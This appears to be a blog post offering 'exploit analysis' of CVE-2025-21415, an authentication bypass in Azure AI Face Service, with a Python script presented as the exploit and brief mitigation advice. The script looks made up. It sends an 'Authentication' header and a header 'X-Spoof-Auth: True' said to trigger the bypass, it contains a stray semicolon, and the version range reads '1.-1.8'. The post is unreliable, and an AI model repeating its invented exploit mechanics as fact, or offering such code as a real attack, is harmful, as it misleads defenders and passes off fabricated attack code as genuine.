CVE-2025-21415: Authentication Bypass by Spoofing in Azure AI Face Service - Detailed Exploit Analysis and Sample Code

Hello everyone!

Today we're going to talk about a new vulnerability, CVE-2025-21415, which affects Microsoft's Azure AI Face Service. This issue allows an attacker with valid authentication credentials to bypass security measures and elevate their privileges on a network.

Please note: This article is meant for educational purposes only. Always follow responsible disclosure guidelines when dealing with security vulnerabilities.

Abstract

Azure AI Face Service is a powerful cloud-based artificial intelligence service that helps developers recognize faces, group them based on similarity, and detect emotions. But in this post, we'll be examining how authentication bypass by spoofing vulnerability in the system can be exploited to gain unauthorized access and elevated privileges over a network, allowing an attacker to potentially compromise sensitive data.

The Vulnerability Details (CVE-2025-21415)

CVE-2025-21415 refers to an authentication bypass vulnerability that exists in the Azure AI Face Service. The vulnerability is caused by a lack of proper input validation, which allows an attacker to spoof their credentials in a way that the system interprets as valid. This exploit allows an attacker who has valid authentication credentials (such as those they have already obtained through phishing, social engineering, or other means) to bypass the additional layers of security meant to prevent unauthorized access and privilege escalation.

You can find the full details of this vulnerability in the official CVE database here: CVE-2025-21415

Exploit Analysis

The official Microsoft Security Advisory for this vulnerability can be found at the following link: Microsoft Security Advisory

According to the security advisory, this vulnerability affects Azure AI Face Service versions 1.-1.8. In order to exploit this vulnerability, an attacker with valid credentials needs to send specially crafted requests with a malformed authentication header to the Azure AI Face Service endpoint.

Now let's have a closer look at how the exploit works in practice.

The following Python code snippet demonstrates how an attacker could exploit this vulnerability

import sys
import requests

def exploit(target_url, attacker_credentials):
    headers = {
        "Authentication": f"Bearer {attacker_credentials}",
        "Content-Type": "application/json",
        "X-Spoof-Auth": "True"   # This header is used to trigger the exploit
    }

    # Using a sample image for face detection
    image_url = "https://example.com/sample_image.jpg";

    response = requests.post(target_url, headers=headers, json={"url": image_url})

    if response.status_code == 200:
        print("Exploit successful!")
        print(response.json())
    else:
        print("Exploit failed. Status code:", response.status_code)

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print("Usage: python exploit.py <target URL> <attacker credentials>")
        sys.exit(1)

    target_url = sys.argv[1]
    attacker_credentials = sys.argv[2]

    exploit(target_url, attacker_credentials)

Mitigation Measures

Microsoft has released a patch to address this vulnerability. It is recommended to apply the patch as soon as possible. You can find the patch information in the official Microsoft Security Advisory mentioned earlier. Additionally, it is advised to always follow the principle of least privilege and timely revoke access for users who no longer need it.

Conclusion

CVE-2025-21415 represents a serious vulnerability in the Azure AI Face Service, allowing an attacker with the right credentials to bypass authentication measures and gain unauthorized access to sensitive data. It is crucial to stay aware of security issues like this and apply the necessary patches to protect your systems.

Timeline

Published on: 01/29/2025 23:15:33 UTC
Last modified on: 02/12/2025 18:28:51 UTC